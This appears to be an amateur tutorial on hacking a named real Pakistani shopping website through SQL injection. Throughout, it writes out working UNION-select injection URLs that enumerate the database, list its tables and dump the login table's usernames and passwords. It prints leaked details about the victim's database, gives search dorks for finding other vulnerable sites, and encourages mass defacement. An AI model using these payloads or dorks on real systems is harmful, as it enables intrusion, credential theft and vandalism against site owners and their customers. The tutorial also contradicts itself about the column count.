How to hack website using SQL injection !

Today i will teach you how to hack a website(SQL injection).

My target is www.hitshop.pk (A famous pakistani online shopping website
)

Note: if you like to hack particular website,then try this dork:

site:www.yourvictimsite.com dork_list_commands

for eg:

site:www.yourvictimsite.com inurl:index.php?id=

So let’s we start..

First step is to Find the number of Columns.

For this replace the single quotes( ‘ ) with “order by n” statement.

If you get an Error on Order by 11 that means the DB have 10 number of
Columns and If u had found error on Order by 6 then the DB have 5
number of Columns.

Now We have successfully discovered the number of columns(10) present in
the target database.

Now next step is Find the Vulnerable columns :

if the website is vulnerable then it have vulnerability in it’s column
and now it’s time to find out that column

change the ID Value to Negative, I mean Suppose the website have this
URL order.php?id=463 Change it to order.php?id=-463
and find Vulnerable Column by using the Query
“Union Select columns_sequence”

As our target has Number of Column 11 then the query is as follow :-

www.hitshop.pk/order.php?id=-463 union select 1,2,3,4,5,6,7,8,9,10–

And Once if the Query has been Executed then it will display the
number of Column(1).

Column 1 is vulnerable

Now next step is Finding version,database,user:

Replace the 1 from the query with “version()” : 5.0.96-log

Now again do the same replace Vulnerable column with different query
like :- database() : hitshopdbase , user() : hitshopdbase@182.50.130.195

Now next step is :

Finding the Table Name

Let us find the table name of the database. Replace the 1 with
“group_concat(table_name) and add the “from information_schema.tables
where table_schema=database()”

Now it will display the list of table names.

click,comments,copy,countclick,discription,hit_articles,hit_offer,
login,login_cus,order_form,over_detail,recipes_new,slider_jquery,
sub_cat,sub_cat1

Now you have to Find the table name which is related with the admin or
user or login. (Use your mind :-P)

Let us choose the “login” table.

Now next step is Finding the Column Name :

Now replace the “group_concat(table_name) with the “group_concat
(column_name)”

Replace the “from information_schema.tables where
table_schema=database()–” with
“FROM information_schema.columns WHERE table_name=

Command is :
http://www.hitshop.pk/order.php?id=-463 union select group_concat(column_name),2,3,4,5,6,7,8,9,10 FROM information_schema.columns WHERE table_name=

Don’t execute command.

first you have to to convert the table name(login) to MySql CHAR()
string.

Use hackbar firefox addon or this purpose.

Now you can see the CHAR(numbers separated with commas) in the Hack
toolbar

Now the final command is : http://www.hitshop.pk/order.php?id=-463
union select group_concat(column_name),2,3,4,5,6,7,8,9,10 FROM
information_schema.columns WHERE table_name=CHAR(108, 111, 103, 105,
110)

Now it’s time to Explore Database & Hack it.

Now replace group_concat(column_name) with
group_concat(user,0x2a,password)

Your command will look like this :
http://www.hitshop.pk/order.php?id=-463 union select group_concat(user,
0x3a,password),2,3,4,5,6,7,8,9,10 from login–

Now you have admin usernaame and password

Now i going to report to admin

Hope you enjoy this tutorials.

And one more thing you can do mass defacing also.

Let’s see how many websites are their…

Around thousand of websites are their which you can hack